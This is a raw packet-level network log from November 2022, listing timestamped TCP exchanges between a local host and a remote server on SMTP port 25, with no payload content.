Nov 7, 2022 22:24:55.522981882 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523004055 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523025990 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523047924 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523070097 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523134947 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523158073 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523180008 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523201942 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.523238897 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.524027109 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569608927 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569663048 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569690943 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569719076 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569756985 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569756985 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569792032 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569819927 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569847107 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569869995 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569890976 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569922924 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.569947958 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569967985 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.569989920 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570023060 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570043087 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570069075 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570087910 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570116043 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570136070 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570159912 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570182085 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570210934 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570224047 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570249081 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570269108 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570297956 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570316076 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570342064 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570357084 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570382118 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570406914 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570436954 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570451021 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570463896 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570481062 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.570507050 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570535898 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.570597887 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.578129053 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.580708981 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.624542952 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.624861002 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.624936104 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.624962091 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.624989986 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625003099 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625046968 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625062943 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625062943 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625111103 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625135899 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625166893 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625195026 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625222921 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625263929 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625263929 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625297070 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625313997 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625343084 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625360012 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625381947 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625406981 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625433922 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625449896 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625480890 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625495911 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625523090 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625547886 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625577927 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625602007 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625622988 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625648022 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625675917 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625694990 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625713110 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625740051 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625767946 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625785112 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625813007 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625838041 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625865936 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625895023 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625920057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.625956059 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.625987053 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626014948 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626014948 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626060009 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626081944 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626113892 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626143932 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626171112 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626199961 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626226902 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626256943 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626276016 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626303911 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626331091 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626354933 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626384974 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626405001 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626429081 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626456022 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626485109 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626516104 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626529932 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626547098 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626574039 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626590014 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626624107 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626643896 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626668930 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626693010 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626722097 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.626740932 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.626863956 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681031942 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681097984 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681135893 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681173086 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681173086 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681220055 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681256056 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681293964 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681330919 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681356907 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681376934 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681413889 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681437016 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681468964 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681499958 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681536913 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681571007 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681598902 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681626081 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681658983 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681693077 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681711912 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681740999 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681771994 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681806087 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681826115 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681868076 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681898117 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681922913 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.681952000 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.681988001 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682022095 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682054043 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682082891 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682116032 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682149887 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682183981 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682203054 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682225943 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682225943 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682250023 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682276964 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682312012 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682344913 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682365894 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682391882 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682430983 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682466984 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682486057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682523966 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682559013 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682586908 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682610035 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682640076 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682676077 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682708979 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682734966 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682769060 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682796955 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682835102 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682869911 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.682909966 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682935953 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.682980061 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683033943 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683060884 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683103085 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683137894 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683161020 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683190107 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683219910 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683257103 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683276892 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683309078 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683335066 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683373928 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683408976 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683433056 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683465958 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683501959 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683538914 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683566093 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683588982 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683626890 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683661938 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683679104 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683715105 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683731079 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683769941 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683804989 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683828115 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683855057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683855057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.683890104 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683927059 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.683945894 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.684000015 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684041977 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684066057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.684066057 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.684118032 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684154034 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684190035 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684223890 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684257030 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684292078 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684326887 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684362888 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684397936 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684451103 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684488058 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684525013 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684561968 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684601068 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684638023 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684674978 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684710979 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684746981 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684783936 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684822083 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684858084 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684894085 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684931993 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.684968948 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.685008049 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.685045958 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739378929 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739432096 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739448071 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739479065 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739515066 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739530087 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739543915 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739589930 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739604950 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739620924 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739711046 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739728928 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739785910 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739923000 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739940882 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.739955902 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740031958 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740056992 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740154982 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740173101 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740226984 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740242958 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740353107 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740370989 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740385056 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740474939 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740493059 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740508080 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740592003 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740608931 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740668058 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740684986 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740700006 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740840912 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740859032 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740874052 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740904093 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740946054 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.740962982 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741067886 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741085052 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741147995 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741163969 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741187096 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741203070 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741224051 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741265059 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741345882 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741425037 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741471052 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741590023 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741606951 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741631985 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741648912 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741683006 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741842985 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741880894 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741895914 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741913080 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741930008 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741945982 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741961002 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.741987944 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742003918 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742024899 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742106915 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742125034 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742188931 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742230892 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742265940 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742396116 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742413044 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742428064 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742470980 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742636919 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742655039 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742671013 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742830038 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742847919 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742929935 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742949963 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742966890 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742981911 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.742997885 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.743014097 CET	25	49850	142.250.150.26	192.168.2.5
